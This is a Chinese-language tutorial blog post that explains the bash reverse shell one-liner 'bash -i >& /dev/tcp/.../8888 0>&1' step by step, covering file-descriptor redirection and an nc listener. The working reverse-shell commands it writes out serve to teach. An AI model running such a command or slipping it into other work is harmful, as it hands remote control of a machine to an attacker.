linux端口转发基础(0<&1的详细解释)
bash -i
表示打开一个交互式的shell
如图
shell会变亮,那么有什么区别呢,可以查看当前shell的模式,好像变亮了。
1 | echo $$ 返回登录shell的PID |
我们使用echo $-
在bash -i的情况下:
在非bash -i的情况下:
模式的名称不同。
我们分析一个反弹shell的命令
1 | bash -i >& /dev/tcp/192.168.3.104/8888 0>&1 |
linux一切皆文件,中间的文件写入就是靶机建立与攻击机的tcp连接。
我们来看中间的dev/tcp/192.168.25.144/8888
肯定是建立tcp连接,那么前面肯定是把bash -i的内容显示到建立连接的
192.168.25.144/8888
端口上面,那么这些乱七八糟的符号是如何完成的呢?
文件描述符的使用
先从一个简单的例子来看
1 | echo log > /dev/null/null 2>&1 |
前面的>表示输出结果重定向到哪里,比如
如果目录下没有123.txt这个文件就会创建一个。
对于/dev/null/null
当然,显然这是我瞎编出来的文件,也就是说,log不会被输出到这个文件中,因为是空白,就会将打印信息丢掉。
1 | 标准输入(stdin): 代码为 0 使用 < 或 << 默认设备键盘 |
2>&1里面,还有>的符号,就是输出的意思,可以和1,2组合,因为1,2都表示输出。组合结果就是
1 | 标准输出 |
后面的&就是等同于的意思,所以2>&1就是标准错误输出等同于标准输出,而标准输出是什么呢,就是刚才整行命令
echo log > /dev/null/null 2>&1
最前面的>符号定位的输出,也就是空白文件。
所以整行命令就是先把输出重定向到这个空白文件,然后再把标准错误输出也定向到这个空白文件,言外之意就是不显示错误了。
文件描述符搞定。
我们现在开始通过TCP连接发送
在发送方
1 | echo hello >& /dev/tcp/192.168.3.104/8888 |
在接收方
1 | nc -lvvp 8888 |
可以看到回显,但是这样的连接随即结束了。那我们不妨把bash -i
发送过去
1 | bash -i >& /dev/tcp/192.168.3.104/8888 |
这里会显示一个实时bash。我们在发送端输入,在发送端看不到,但是在接收端可以看到这个输入。
比如我执行了ifconfig。
但是我们看不到输入仍然很烦恼,所以我们再来个输入定向,将接收端的输入定向过来,而接收端的输入就是我们通过TCP连接传过去的内容,这样也就是我们发送的内容,在发送端也能够看到了。
但是毕竟是TCP连接,一个套接字对应一个端口,不能再建立了,我们只能在一开始就把输入也定向回来。
发现返回了命令行,说明我们输入自己也是可以看到的了。
在接收端,如上图,我们执行后,发现显示了源主机的ip
并且在接收端输入之后,输入的命令也会显示在发送端,这就是将输入重定向回来。搞定。